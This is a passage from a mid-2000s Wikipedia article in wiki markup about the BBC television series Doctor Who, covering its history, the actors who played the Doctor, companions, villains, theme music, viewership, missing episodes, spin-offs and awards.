[[Image:Dwdiamn.jpg|180px|thumb|right|A multicoloured variant of the '''''Doctor Who''''' &quot;diamond&quot; logo, which was used in the show's opening titles from 1973 to 1980.]]
{{main|History of Doctor Who}}
''Doctor Who'' first appeared on BBC television at 5:15 p.m. ([[Greenwich Mean Time|GMT]]) on [[November 23]] [[1963]]. The programme was born out of discussions and plans that had been going on for a year.  The [[BBC television drama|Head of Drama]], [[Sydney Newman]], was mainly responsible for developing it, with contributions by  the Head of the Script Department (later Head of Serials), [[Donald Wilson]], staff writer [[C. E. Webber|C. E. 'Bunny' Webber]], writer [[Anthony Coburn]], [[script editor|story editor]] [[David Whitaker]] and initial [[Television producer|producer]], [[Verity Lambert]]. The series' distinctive and haunting title theme was composed by [[Ron Grainer]] and realised by [[Delia Derbyshire]]. 

The BBC drama department's Serials division produced the programme in-house for the following twenty-six seasons, on [[BBC One]]. Falling viewing figures, a decline in the public perception of the show and a less prominent transmission slot saw it suspended as an ongoing series in 1989 by [[Jonathan Powell]], Controller of BBC One. Although it was for all intents and purposes cancelled (series co-star [[Sophie Aldred]] said in the documentary ''More Than 30 Years in the TARDIS'' that she was told it was cancelled), the BBC maintained the series was merely &quot;on hiatus&quot; and insisted the show would return.

While in-house production had ceased, the BBC was hopeful of finding an independent production company to re-launch the show.  [[Philip Segal]], a British [[expatriate]] who worked for [[Columbia Pictures]]' television arm in the [[United States]], approached the BBC about such a venture. Segal's negotiations eventually led to a [[television movie]]. The movie was broadcast on the [[Fox Broadcasting Company|Fox Network]] in 1996 as a co-production between Fox, [[Universal Studios|Universal Pictures]], the [[BBC]], and [[BBC Worldwide]].  However, although the film was successful in the UK (with audited viewing figures of 9.1 million), it was less so in the [[United States]] (possibly due to poor scheduling) and did not lead to a series. 

Although [[Doctor Who spin-offs|licensed]] media such as novels and audio plays provided new stories, the programme remained dormant until 2003. In September of that year, BBC Television announced the production of a new in-house series after several years of unsuccessful attempts by BBC Worldwide to find backing for a feature film version. 

The new series debuted with the episode ''[[Rose (Doctor Who)|Rose]]'' on BBC One on [[March 26]] [[2005]] and the series has since been sold to many other countries (see [[#Viewership|Viewership]]). The American [[Sci Fi Channel (United States)|Sci-Fi Channel]] was announced as the US broadcaster of the series in January 2006, with the programme set to debut in March, one year after the UK showings.

On [[March 30]], [[2005]], the BBC gave the go-ahead for a second series and a Christmas special. On [[June 15]], it was announced that both a third series and a further seasonal episode had been commissioned.

==Format==
During the original 1963&amp;ndash;1989 run, each of the weekly episodes formed part of a contained story (or &quot;[[Serial#Film|serial]]&quot;) comprising several parts &amp;mdash; usually either four to six in earlier years and three to four in later years. Three notable exceptions were the epic ''[[The Daleks' Master Plan]]'', which aired in 12 episodes (plus a one-episode teaser entitled ''[[Mission to the Unknown]]'', featuring none of the regular cast); the 10-episode serial ''[[The War Games]]''; and ''[[The Trial of a Time Lord]]'', which ran for 14 episodes (containing four stories often referred to by individual titles, and connected by framing sequences) during [[List of Doctor Who serials#Season 23 (1986)|Season 23]].

The programme was devised to be partly educational and for family viewing on the early Saturday evening schedule. The idea was to alternate stories set during important periods of human history (such as the [[French Revolution]], the [[Roman Empire]], or the [[Battle of Culloden Moor]]), which would educate younger audience members about those events, with stories set either in the future or in outer space, which would enlighten them about science. This was also reflected in the make-up of the Doctor's original companions, one of whom was a science teacher and another a history teacher.

In practice, however, science fiction stories came to dominate the series, and the &quot;historicals&quot;, which were not popular with the production team, were dropped entirely after the first few years. While the series continued to make use of historical settings throughout its run, they were generally used as a backdrop for science fiction-themed tales. The series featured only one more purely historical story during its original run: the 1982 serial ''[[Black Orchid (Doctor Who)|Black Orchid]]'', set in 1920s Britain. The programme also rapidly became a national institution, to the point where many renowned actors &amp;mdash; both serious and comedic &amp;mdash; asked for or accepted [[Celebrity appearances in Doctor Who|guest starring roles]] in various stories. 

''Doctor Who'' originally ran for [[List of Doctor Who serials|26 seasons]] on the BBC, from [[November 23]], [[1963]] until [[December 6]], [[1989]]. Writers over the years have included [[Terry Nation]], [[Henry Lincoln]], [[Douglas Adams]], [[Robert Holmes (scriptwriter)|Robert Holmes]], [[Terrance Dicks]], [[Dennis Spooner]], [[Eric Saward]], [[Malcolm Hulke]], [[Christopher H. Bidmead]], [[Stephen Gallagher]], [[Brian Hayles]], [[Chris Boucher]], [[Marc Platt]] and [[Ben Aaronovitch]].

As of June 2005, approximately 709 individual ''Doctor Who'' instalments have been televised since 1963, ranging in length from 25-minute episodes (the most common format), to two feature-length productions (1983's ''[[The Five Doctors]]'' and the [[Doctor Who (1996)|1996 television movie]]). 

The serial format changed for the 2005 revival. [[List of Doctor Who serials#Series 1 (2005)|Series 1]] consisted of thirteen 45-minute, self-contained episodes (60 minutes with commercials in Canada), with three two-parters and a loose story arc whose elements were brought together in the season finale. For the new show, [[Russell T. Davies]] is principal writer and executive producer, with [[Mark Gatiss]], [[Paul Cornell]], [[Rob Shearman|Robert Shearman]], and [[Steven Moffat]] also contributing scripts. It is expected that ''Doctor Who'' will surpass the number of individual instalments of the ''[[Star Trek]]'' franchise (around 726 episodes) during the third season of the new series.

==The Doctor==
{{main|Doctor (Doctor Who)}}
[[Image:10docs.jpg|thumb|right|300px|The ten faces of the Doctor. &lt;small&gt;Clockwise from top-left: [[William Hartnell]], [[Patrick Troughton]], [[Jon Pertwee]], [[Tom Baker]], [[Peter Davison]], [[Colin Baker]], [[Sylvester McCoy]], [[Paul McGann]], [[Christopher Eccleston]] and [[David Tennant]].&lt;/small&gt;]]
The character of the Doctor was initially shrouded in mystery. All that was known about him was that he had a granddaughter, [[Susan Foreman|Susan]], that she was born &quot;in another time, another world&quot;, and that both of them were exiles. He also possessed a time-travelling machine called the [[TARDIS]] ('''T'''ime '''A'''nd '''R'''elative '''D'''imension(s) '''I'''n '''S'''pace), which is dimensionally transcendental (larger on the inside than on the outside), and seemingly never fully under his control. The TARDIS originally had the ability to disguise itself according to its environment, but became &quot;stuck&quot; in the form of a [[police box]] after landing in London in 1963, and has remained in that shape ever since (give or take the occasional attempt to fix it). Originally an irascible and highly irritable character, the Doctor was quickly shown to be a man of great intelligence and compassion, who abhorred evil in the universe and would always help others if he could.

Over time, it was revealed that the Doctor was from an extraterrestrial race known as the [[Time Lord]]s from the planet [[Gallifrey]]. The circumstances under which he left his planet were only vaguely alluded to, but were at least partly due to the restrictive nature of Time Lord society, their rules against interfering with the rest of the universe, and his own desire to explore time and space. In the 1996 television movie it was revealed that the Doctor is half-human (on his mother's side), a revelation which proved controversial in some sections of fandom.

The Doctor, like all Time Lords, has the ability to &quot;[[Doctor (Doctor Who)#Changing faces|regenerate]]&quot; his body when he dies, something he can do twelve times. The production team created this concept to allow for re-casting of the part when an actor wanted to leave or otherwise needed to be replaced. So far, ten actors have played the part for television. They, and their tenures, are as follows:

#[[William Hartnell]] ([[1963]]&amp;ndash;1966)
#[[Patrick Troughton]] ([[1966]]&amp;ndash;1969)
#[[Jon Pertwee]] ([[1970]]&amp;ndash;1974)
#[[Tom Baker]] ([[1974]]&amp;ndash;1981)
#[[Peter Davison]] ([[1981]]&amp;ndash;1984)
#[[Colin Baker]] ([[1984]]&amp;ndash;1986)
#[[Sylvester McCoy]] ([[1987]]&amp;ndash;1989, 1996)
#[[Paul McGann]] ([[1996]])
#[[Christopher Eccleston]] ([[2005]])
#[[David Tennant]] ([[2005]]&amp;ndash;present)

[[Image:Bakert.jpg|thumb|right|180px|[[Tom Baker]] as the [[Fourth Doctor]].]] [[Richard Hurndall]] played the part of the [[First Doctor]] in the 1983 20th anniversary [[telemovie]], ''[[The Five Doctors]]'', as [[William Hartnell]] had died in 1975. Other actors have also played the Doctor, though rarely more than once: see the [[list of actors who have played the Doctor]] for details.

Prior to 2005, the regeneration was always worked into the storyline. However, in the documentary series ''[[Doctor Who Confidential]]'', Russell T. Davies revealed his reasoning that, after such a long hiatus, a regeneration in the first episode would not just be confusing for new viewers but also lack dramatic impact, as there would be no emotional investment in the character before he was replaced. Accordingly, the 2005 series began with the [[Ninth Doctor]] (played by [[Christopher Eccleston]]) already regenerated, with no appearance by the [[Eighth Doctor]] (previously played by [[Paul McGann]]). It is unlikely that the regeneration of the Eighth Doctor to the Ninth will be seen on screen. The Ninth Doctor does comment on his own appearance in ''Rose'', suggesting that the regeneration happened recently. 

Eccleston departed at the end of the 2005 series, and regenerated, in ''[[The Parting of the Ways]]'', into the [[Tenth Doctor]], played by [[David Tennant]]. Tennant's first full episode, ''The Christmas Invasion'', was screened on Christmas Day 2005.

==Companions==
[[Image:Rosetyler.jpg|180px|thumb|[[Billie Piper]] as [[Rose Tyler]], the Doctor's current companion.]]The Doctor almost invariably shares his adventures with up to three [[:Category:Doctor Who companions|companions]] (the only exception being the serial ''[[The Deadly Assassin]]'', in which he travels alone). The idea of the companion is to provide a [[audience surrogate|surrogate]] with whom the audience can identify and to further the story by asking questions and getting into trouble. The Doctor regularly gains new companions and loses old ones; sometimes they return home or find new causes &amp;mdash; or loves &amp;mdash; on worlds they have visited. Some have even died during the course of the series.

There are some disputes as to the definition of a companion, but fans mostly agree that at least thirty (including [[K-9 (Doctor Who)|K-9]] Marks I and II) meet the criteria for &quot;companion&quot; status in the television series, with others being [[list of Doctor Who spin-off companions|established in the various spin-offs]]. For further details, see the notes in [[List of Doctor Who supporting characters]].

Despite the fact that the majority of the Doctor's companions are young, attractive females, the production team for the 1963–1989 series maintained a longstanding taboo against any overt romantic involvement in the TARDIS. However, that has not prevented fans from speculating about possible romantic involvements, most notably between the [[Fourth Doctor]] and the Time Lady [[Romana]] (whose actors, [[Tom Baker]] and [[Lalla Ward]], shared a romance and brief marriage in real life). The taboo was controversially broken in the 1996 television movie when the [[Eighth Doctor]] was shown kissing companion [[Grace Holloway]]. The 2005 series played with this idea by having various characters think that the [[Ninth Doctor]] and [[Rose Tyler]] were a couple, which they vehemently denied.

Previous companions have reappeared in the series, usually for anniversary specials. One former companion, [[Sarah Jane Smith]] (played by [[Elisabeth Sladen]]), will guest star in [[School Reunion (Doctor Who)|an episode]] of the 2006 series together with the robotic dog, [[K-9 (Doctor Who)|K-9]], their first appearance in the programme since the 20th Anniversary story ''[[The Five Doctors]]'' (1983).

==Adversaries==
[[Image:Daleknew.jpg|thumb|180px|The [[Dalek]]s are perhaps the best known adversaries faced by the Doctor.]]
When Sydney Newman commissioned the series, he specifically did not want to perpetuate the cliché of the &quot;bug-eyed monster&quot; of science fiction. However, monsters were a staple of ''Doctor Who'' almost from the beginning and audiences responded to them. 

Notable adversaries of the Doctor include the [[Auton]]s, the [[Cyberman|Cybermen]], the [[Sontaran]]s, the [[Ice Warrior]]s, the [[Yeti (Doctor Who)|Yeti]], the [[Silurian (Doctor Who)|Silurians]], and [[Master (Doctor Who)|the Master]], a rival Time Lord with a thirst for universal conquest. Of all the monsters and villains, the ones that ensured the series' place in the public's imagination were the [[Dalek]]s. The Daleks are lethal mutants in tank-like mechanical armour from the planet [[Skaro]].  Their chief role in the great scheme of things, as they frequently remark in their instantly recognisable metallic voices, is to &quot;Exterminate!&quot; [[Davros]], the Daleks' fictional creator, also became a recurring villain after he was introduced.

The Daleks were created by writer [[Terry Nation]] (who intended them as an allegory of the [[Nazism|Nazis]]) and BBC designer [[Raymond Cusick]]. Nation also wrote for 1960s telefantasy like ''[[The Avengers (television)|The Avengers]]''.  He later created the 1970s [[science fiction]] programmes ''[[Survivors]]'' and ''[[Blake's 7]]'' and was a writer for the popular American series ''[[MacGyver]]''. The Daleks' debut in the programme's second serial, ''[[The Daleks]]'', caused a tremendous reaction in the viewership ratings, and put ''Doctor Who'' on the map. A Dalek even appeared on a postage stamp celebrating British popular culture in 1999, photographed by [[Antony Armstrong-Jones, 1st Earl of Snowdon|Lord Snowdon]].

==Music==
{{main|Doctor Who theme music}}

The original 1963 arrangement of the ''Doctor Who'' theme music, as composed by Ron Grainer and realised by [[Delia Derbyshire]] at the [[BBC Radiophonic Workshop]], is widely regarded as a significant and innovative piece of electronic music, working from tape loops of an individually struck piano string and individual test [[oscillator]]s and filters. The Derbyshire arrangement served, with minor edits, as the theme tune up to the end of [[List of Doctor Who serials#Season 17 (1979-80)|Season 17]]. 

A more modern and dynamic arrangement was composed by [[Peter Howell]] for [[List of Doctor Who serials#Season 18 (1980-81)|Season 18]] ([[1980]]), which was in turn replaced by [[Dominic Glynn]]'s less well received arrangement for Season 23's ''[[The Trial of a Time Lord]]'' (1986). [[Keff McCulloch]] provided the new arrangement for the [[Seventh Doctor]]'s era which lasted from [[List of Doctor Who serials#Season 24 (1987)|Season 24]] (1987) until the series' suspension in 1989. For the new series in 2005, [[Murray Gold]] provided a new arrangement which featured samples from the 1963 original with further elements added.

In the early 1970s, [[Jon Pertwee]], who had played the [[Third Doctor]], recorded a version of the ''Doctor Who Theme'' with spoken lyrics, entitled, &quot;Who Is The Doctor&quot;. In 1988 the band [[The Justified Ancients of Mu Mu]] (later known as [[The KLF]]) released the single &quot;Doctorin' The Tardis&quot; under the name [[The Timelords]], which reached No. 1 in the UK. Others who have covered or reinterpreted the theme include [[Orbital (band)|Orbital]], the Australian string ensemble [[Fourplay Electric String Quartet|Fourplay]], [[The Pogues]], [[Pink Floyd]] and the comedian [[Bill Bailey]]. The theme tune has also appeared on many compilation CDs and has even made its way to the world of [[mobile phone]] ring tones. Fans have also produced and distributed their own remixes of the theme tune.

{{Listen|filename=Doctor Who theme excerpt.ogg|title=Doctor Who theme excerpt|description=An excerpt from the theme music to ''Doctor Who''}}

==Viewership==
[[Image:3doctardis.jpg|right|thumb|180px|The image of the [[TARDIS]] is iconic in British popular culture.]]

''Doctor Who'' has always appeared on the BBC's mainstream [[BBC One]] channel, drawing audiences of many millions of viewers. It was most popular in the late 1970s, when audiences frequently averaged as high as 12 million viewers per airing.  During the [[ITV]] network strike of 1979, viewership peaked at 16 million. No first-run episode of ''Doctor Who'' has ever drawn fewer than three million viewers on BBC One, although its late 1980s performance of three to five million regular viewers was seen as being poor at the time, and was, according to the BBC Board of Control, a leading cause of the programme's 1989 suspension. Some fans considered this excuse disingenuous, since the programme was scheduled against the [[soap opera]] ''[[Coronation Street]]'', the most popular show at the time (as it is also today). The BBC One broadcast of ''[[Rose (Doctor Who)|Rose]]'', the first episode of the 2005 revival, drew an average audience of 10.81 million, No. 3 for BBC One that week and No. 7 across all channels. The latest series has been generally receiving an audience of about 7.5 million, although the figures have not yet exceeded that of ''Rose''.

The programme also gained a strong following in [[Australia]], where it continues to be screened repeatedly due to the close connections between the BBC and Australia's major public broadcaster, the [[Australian Broadcasting Corporation|ABC]]. It has a fan base in the [[United States]] as well, where it was shown in syndication through the 1970s and 1980s, particularly on [[PBS]] stations (see [[Doctor Who in America]]). [[Canada]] was the first country outside the UK to screen ''Doctor Who'' beginning in January 1965, but the CBC only aired the first twenty-six episodes.

Only four episodes have ever had their premiere showings on channels other than BBC One. The 1983 twentieth anniversary special ''[[The Five Doctors]]'' had its debut on [[November 23]] (the actual date of the anniversary) on the [[Chicago, Illinois|Chicago]] [[PBS]] station [[WTTW-TV]] in the United States and various other PBS members two days prior to its BBC One broadcast. The 1988 story ''[[Silver Nemesis]]'' was broadcast with all three episodes edited together in compilation form on [[TVNZ]] in New Zealand in November, after the first episode had been shown in the UK but before the final two instalments had aired there. Finally, the 1996 television movie premiered on [[May 12]] on [[CITV-TV|CITV]] in [[Edmonton, Alberta|Edmonton]], Canada, fifteen days before the BBC One showing, and two days before it aired on [[Fox Broadcasting Company|Fox]] in the USA.

There was some controversy over the show's suitability for children. The moral campaigner, [[Mary Whitehouse]], made a series of complaints to the BBC in the 1970s over its sometimes frightening or gory content. Ironically, her actions made the programme even more popular, especially with children. [[John Nathan-Turner]], who produced the series during the 1980s, was heard to say that he looked forward to Whitehouse's comments, as the show's ratings would increase soon after she had made them. During the 1970s, the ''[[Radio Times]]'', the BBC's own listings magazine, announced that a child's mother said the theme music terrified her son. The ''Radio Times'' was apologetic, but the theme music remained.  

There were more complaints about the programme's content than its music. During [[Jon Pertwee]]'s [[List of Doctor Who serials#Season 8 (1971)|second season]] as the Doctor, in the serial ''[[Terror of the Autons]]'', images of murderous plastic dolls, daffodils killing unsuspecting victims and blank-featured android policemen marked the apex of the show's ability to frighten children. Other notable moments in that decade included the Doctor apparently being drowned by Chancellor Goth in ''[[The Deadly Assassin]]'', and the supposedly negative portrayal of Chinese immigrants in ''[[The Talons of Weng-Chiang]]''.

It has been said that watching ''Doctor Who'' from a position of safety &quot;[[behind the sofa]]&quot; (as the ''Doctor Who'' exhibition at the [[Museum of the Moving Image]] in London was titled) and peering cautiously out to see if the scary bit was over is one of the great shared experiences of British childhood. The phrase has become a common phrase in association with the programme and occasionally elsewhere.

A wide selection of serials is available from BBC Video on [[VHS]] and [[DVD]], on sale in the United Kingdom, Australia, and the United States. Every fully extant serial has been released on VHS, and BBC Worldwide continues to release serials on DVD on a regular basis. One disc of episodes from the 2005 series is even available on [[Universal Media Disc|UMD]], with more releases planned.

As of February 2006, the new series has been, or is currently, broadcast weekly in [[Canada]] (in English on CBC and in French on [[Ztélé]]), [[Australia]] ([[Australian Broadcasting Corporation|ABC]]), [[France]] ([[France 4]]), [[Italy]] ([[Jimmy (Italian television channel)|Jimmy]]), [[New Zealand]] ([[Prime Television New Zealand|Prime TV]]), [[Norway]] ([[Norsk Rikskringkasting|NRK]]), [[Belgium]] ([[Één TV Station|één]]), [[Spain]] ([[People+Arts]]), [[Israel]] ([[Yes Weekend]]), [[Hungary]] ([[RTL Klub]]-owned COOL TV), [[Hong Kong]] ([[Asia Television Limited|ATV World]]), the [[Arabian Peninsula]] / [[North Africa]] ([[Style UK]]), and [[KBS]] in [[South Korea]] &amp;mdash; the first time a British drama series has been sold to a Korean public station. The series has also been sold to, but not yet shown in, [[Germany]] ([[Pro 7]]), [[Denmark]] ([[Denmarks Radio]]), [[Finland]] ([[Yleisradio|TV2]]), [[Sweden]] ([[Sveriges Television|SVT]]), the [[Netherlands]] ([[Nederland 3|NED 3]]), the [[United States]] ([[Sci Fi Channel (United States)|Sci-Fi Channel]]), [[Japan]] (broadcaster not yet announced) and [[Greece]] ([[SKAI]]).

The 2006 series has been purchased by the CBC in Canada, though no airdate has yet been announced. The 2005 series episodes aired in Canada a couple of weeks after their UK broadcast, a situation made possible by the cancellation of the 2004-2005 [[National Hockey League]] season which left vast gaps in CBC's programming schedule. The [http://www.dwin.org/ Doctor Who Information Network] has indicated the CBC may air the series in the fall of 2006.

==Missing episodes==
{{main|Doctor Who missing episodes}}
[[Image:10thplanet.jpg|thumb|180px|right|The First Doctor (William Hartnell) collapses prior to his regeneration. (From the surviving clip of ''The Tenth Planet'', episode 4.)]]
Sometime between about 1967 and 1978, large amounts of older material stored in the BBC's video tape and film libraries were destroyed or [[Wiping (magnetic tape)|wiped]]. This included many old episodes of ''Doctor Who'', and mostly affects stories featuring the first two Doctors &amp;mdash; [[William Hartnell]] and [[Patrick Troughton]]. Archival holdings are complete from the programme's move to colour television (starting from [[Jon Pertwee]]'s time as the Doctor), although a few Pertwee episodes have required substantial restoration work and a handful have only been recovered in black and white. In all, [[List of incomplete Doctor Who serials|108]] of 253 episodes produced during the first six years of the programme are not currently held in the BBC's archives.

Some episodes have been returned to the BBC from the archives of other countries who bought copies for broadcast, or by private individuals who came into possession of them by various means. Early colour videotape recordings made off-air by fans have also been retrieved, as well as small excerpts recovered on 8mm [[cine film]] from clips shown on other programmes. Audio versions of all of the lost episodes exist from home viewers making tape recordings of the show. 

In addition to these, there also exist photographs made by photographer [[John Cura]], who was hired by the BBC to document the filming of many of their most popular programmes during the 1950s and 1960s, including ''Doctor Who''. These have been used in fan reconstructions of the serials. These amateur reconstructions have been tolerated by the BBC, provided they are not sold for profit and distributed as low quality VHS copies.

The most sought-after lost episode is Part Four of the last William Hartnell serial, ''[[The Tenth Planet]]'', which ends with the [[First Doctor]] transforming into the [[Second Doctor|Second]]. The only portion of this still in existence, bar a few poor quality silent 8mm clips, is the few seconds of the regeneration scene. With the approval of the BBC, efforts are now under way to restore as many of the episodes as possible from the extant material.

Starting in the early 1990s, the BBC began to release existing audio recordings of missing serials on audio cassette and compact disc, with linking narration provided by former series actors. &quot;Official&quot; reconstructions have also been released by the BBC on VHS as well as [[MP3]] [[CD-ROM]].

==Adaptations and other appearances==
''Doctor Who'' has appeared on stage numerous times. In the early 1970s, [[Trevor Martin]] played the role in ''[[Doctor Who and the Daleks in the Seven Keys to Doomsday]]'' which also featured former companion actress [[Wendy Padbury]] (Pertwee's Doctor made a cameo appearance via film). In the early 1990s, Jon Pertwee and Colin Baker both played the Doctor at different times during the run of a musical play entitled ''[[Doctor Who - The Ultimate Adventure]]''. For two performances while Pertwee was ill, [[David Banks]] (best known for playing various [[Cyberman|Cybermen]]) played the Doctor. Other original plays have been staged as amateur productions, with other actors playing the Doctor, while [[Terry Nation]] wrote ''[[Curse of the Daleks]]'', a stage play mounted in the late 1960s, but without the Doctor.

The Doctor has also appeared in two cinema films: ''[[Dr. Who and the Daleks]]'' in 1965 and ''[[Daleks - Invasion Earth 2150 AD]]'' in 1966. Both were essentially retellings of existing stories on the big screen, with a larger budget and numerous alterations to the series concept. In these films, [[Peter Cushing]] played a human scientist named [[Cushing Doctor|Dr. Who]], who travelled with his two granddaughters and other companions in a time machine he invented. Due to this and numerous other changes (not to mention the storylines that duplicated televised episodes), the movies are not regarded as part of the ongoing continuity of the series, although the Cushing version of the character would reappear in both comic strip and literary form, the latter attempting to reconcile the film continuity with that of the series.

A pilot episode for a potential spin-off series, ''[[K-9 and Company]]'', was aired in 1981 with [[Elisabeth Sladen]] reprising her role as companion [[Sarah Jane Smith]] and [[John Leeson]] as the voice of [[K-9 (Doctor Who)|K-9]], but was not picked up as a regular series.

''Doctor Who'' books have been published from the mid-sixties through to the present day. The Doctor has also appeared in many audio plays and webcasts. See [[Doctor Who spin-offs|''Doctor Who'' spin-offs]] for more details.

On [[17 October]] [[2005]], ''[[The Independent]]'' reported that the BBC had commissioned Davies to produce a 13-part spin-off series titled ''[[Torchwood]]'' (an [[anagram]] of &quot;Doctor Who&quot;), set in modern-day Britain and investigating alien activities and crime. The series will star [[John Barrowman]], playing his ''Doctor Who'' character of [[Jack Harkness]], and will premiere in Summer 2006. [http://news.independent.co.uk/media/article320110.ece]

===Charity episodes===
[[Image:Curseoffataldeath.jpg|thumb|180px|right|[[Rowan Atkinson]] as the Doctor and [[Julia Sawalha]] as Emma in the [[parody]] ''[[Doctor Who and the Curse of Fatal Death|The Curse of Fatal Death]]''.]]
In 1993, coinciding with the series' 30th anniversary, a charity special entitled ''[[Dimensions in Time]]'' was produced in aid of Children in Need, featuring all of the surviving actors who played the Doctor and a number of previous companions. Not taken seriously by many, the story had the [[Rani (Doctor Who)|Rani]] opening a hole in time, cycling the Doctor and his companions through his previous incarnations and menacing them with monsters from the show's past. It also featured a crossover with the soap opera ''[[EastEnders]]'', the action taking place in the latter's [[Albert Square]] location and around [[Greenwich]], including the ''[[Cutty Sark]]''. The special was one of several special 3D programmes the BBC produced at the time, using a 3D system that made use of the [[Pulfrich effect]] requiring glasses with one darkened lens.

In 1999, another special, ''[[Doctor Who and the Curse of Fatal Death]]'', was made for [[Red Nose Day]] and later released on [[VHS]]. An affectionate [[parody]] of the television series, it was split into four segments, mimicking the traditional serial format, complete with [[cliffhanger]]s. (The version released on [[video]] was split into only two episodes.) In the story, the Doctor ([[Rowan Atkinson]]) encounters both [[Master (Doctor Who)|the Master]] ([[Jonathan Pryce]]) and the [[Dalek]]s. During the special the Doctor is forced to regenerate several times, with his subsequent incarnations played by, in order, [[Richard E. Grant]], [[Jim Broadbent]], [[Hugh Grant]], and [[Joanna Lumley]]. The script was written by comedy writer [[Steven Moffat]], who contributed two scripts to the 2005 series and will write one script for the 2006 series.

As noted above, on [[November 18]], [[2005]], an untitled [[Doctor Who Children in Need special (2005)|7-minute &quot;mini-episode&quot;]], set in the immediate aftermath of ''[[The Parting of the Ways]]'' and leading directly into ''[[The Christmas Invasion]]'', was shown as part of the Children in Need [[telethon]].

===Other programmes===
The Doctor in his fourth incarnation ([[Tom Baker]]) has been represented on several episodes of ''[[The Simpsons]]'', starting with the episode &quot;[[Sideshow Bob's Last Gleaming]]&quot; where (along with [[Krusty the Clown]] and [[Steve Urkel]]) he was part of a delegation to the Pentagon of &quot;the esteemed representatives of television&quot;. The episode was broadcast the week of ''Doctor Who'''s 33rd anniversary. He was also in the episode &quot;[[Treehouse of Horror X]]&quot;, where he had been kidnapped by an evil science-fiction-crazed villain.

[[Jon Culshaw]] frequently impersonates the Fourth Doctor in the BBC ''[[Dead Ringers (comedy)|Dead Ringers]]'' series. Culshaw's &quot;Doctor&quot; has telephoned four of the &quot;real&quot; Doctors — Tom Baker, Peter Davison, Colin Baker and Sylvester McCoy — in character as the Fourth Doctor. This prompted the bemused (and apparently confused) McCoy to ask the classic question: &quot;Have you been in the pub?&quot;. When Culshaw phoned Tom Baker himself and stated that he &quot;was the Doctor&quot;, Baker replied, &quot;But there must be some mistake...''I'm'' the Doctor...&quot; Baker had previously worked with Culshaw and was aware of his impression but not when the call would come, if at all, so his reaction was genuine. On the other hand, McCoy has said that his reaction was faked, as he had been warned immediately before the call took place.

===Merchandise===
{{main|Doctor Who merchandise}}
[[Image:Drwhopinball.jpg|right|thumb|Flyer for [[Midway Games|Midway]]'s ''Dr. Who'' pinball game.]]
In 1992, [[Midway Games|Midway]] (under the ''[[Bally]]'' label) released a Doctor Who [[pinball]] game, designed by [http://home.comcast.net/~pfutz/ Bill Pfutzenreuter] (also known as &quot;Pfutz&quot;) and Barry Oursler (designer of the 1986 classic [[Pin*Bot]]). The theme of the game was &quot;Time Streams&quot;, and featured a rearrangement of the ''Doctor Who'' theme tune by Jon Hey. Sylvester McCoy provided voice work for the game.

In 1997, a [[Personal computer|PC]] [[computer game]] (using voices of all television Doctors from the third to the seventh, and imitations of the first two incarnations) based on the television series was released by [[BBC Multimedia]]. Called ''[[Destiny of the Doctors]]'', it featured attempts by the Master (reprised by [[Anthony Ainley]]) to eradicate the Doctor's seven past incarnations from the universe. Although it was well-received by fans and critics alike, its canonicity is made even more uncertain by the difficulty of placing it in the proper chronology of the series. 

Many games have been released that feature the [[Dalek]]s. See [[Dalek#Computer games|Dalek computer games]].

==Awards==
Although ''Doctor Who'' was fondly regarded during its original 1963–1989 run, it received little critical recognition at the time.  In 1975, season eleven of the series won a [[British Academy of Film and Television Arts|BAFTA Children's Award]] for Best Drama. In 1996, BBC television held the &quot;Auntie Awards&quot; as the culmination of their &quot;TV60&quot; season, celebrating sixty years of BBC television broadcasting, where ''Doctor Who'' was voted as the &quot;Best Popular Drama&quot; the corporation had ever produced, ahead of such ratings heavyweights as ''[[EastEnders]]'' and ''[[Casualty (television)|Casualty]]''.   In 2000, ''Doctor Who'' was ranked third in a list of the [[100 Greatest British Television Programmes]] of the twentieth century, produced by the [[British Film Institute]] and voted on by industry professionals. In 2005, the series came first in a survey by [[SFX magazine]] of &quot;The Greatest UK Science Fiction and Fantasy Television Series Ever&quot;. Also, in the 100 Greatest Kids' Shows (a [[Channel 4]] countdown in 2005), the 1963–1989 run was placed at number eight.[http://www.bbc.co.uk/doctorwho/news/cult/news/drwho/2006/01/26/29141.shtml].

The 2005 series has received especial recognition from critics and the public.  At the [[National Television Awards]] (voted on by members of the British public), ''Doctor Who'' won &quot;Most Popular Drama&quot;, Christopher Eccleston won &quot;Most Popular Actor&quot; and Billie Piper won &quot;Most Popular Actress&quot;.  A scene from ''[[The Doctor Dances]]'' won &quot;Golden Moment&quot; in the BBC's &quot;2005 TV Moments&quot; awards [http://www.bbc.co.uk/tvmoments/winners.shtml], and ''Doctor Who'' swept all the categories in [[BBC.co.uk]]'s online &quot;Best of Drama&quot; poll [http://www.bbc.co.uk/drama/bestof2005/]. The programme also won the [[Broadcast magazine|Broadcast]] Award for Best Drama.

On [[February 21]] [[2006]], it was announced that ''Doctor Who'' had been nominated in the Best Drama Series category at the [[Royal Television Society]] Awards.[http://media.guardian.co.uk/broadcast/story/0,,1714821,00.html] The Awards, due to be announced on [[March 14]], are the most prestigious within the British television industry after the [[British Academy Television Awards]], nominations for which are due to be announced in April.

On [[March 2]] [[2006]], further award nominations for the new series were announced, this time for the [[Broadcasting Press Guild]] Awards. ''Doctor Who'' is nominated as Best Drama, with Eccleston and Tennant (for ''[[Secret Smile]]'') both nominated in the Best Actor category, Piper nominated as Best Actress and Russell T. Davies as Best Writer. The winners of these awards are due to be announced on [[March 31]] [[2006]].

==See also==
{{portal}}
*''[[Torchwood]]'' - spin-off series set in the same universe
*''[[K-9 and Company]]'' - spin-off episode set in the same universe
*[[Lengths of science fiction series]]

{{doctor-who}}

==References==
* {{cite book
 | author = Howe, David J &amp; Walker, Stephen James
 | year = 1998
 | title = Doctor Who: The Television Companion
 | edition = 1st ed.
 | location = London
 | publisher =  [[BBC Books]]
 | id = ISBN 0-563-40588-0
 }}
* {{cite book
 | author = Howe, David J &amp; Walker, Stephen James
 | year = 2003
 | title = The Television Companion: The Unofficial and Unauthorised Guide to DOCTOR WHO
 | edition = 2nd ed.
 | location = Surrey, UK
 | publisher =  [[Telos Publishing Ltd.]]
 | id = ISBN 1-903389051-0
 }}

==External links==
{{wikiquote}}
===Official sites===
*[http://www.bbc.co.uk/doctorwho BBC ''Doctor Who'' website]
*[http://www.scifi.com/doctorwho SciFi Channel ''Doctor Who'' website]

===Reference sites===
*{{imdb title|id=0056751|title=Doctor Who (1963&amp;ndash;1989)}}
*{{imdb title|id=0116118|title=Doctor Who (1996)}}
*{{imdb title|id=0436992|title=Doctor Who (2005&amp;ndash;?)}}
*[http://www.screenonline.org.uk/tv/id/454592/index.html British Film Institute Screen Online]
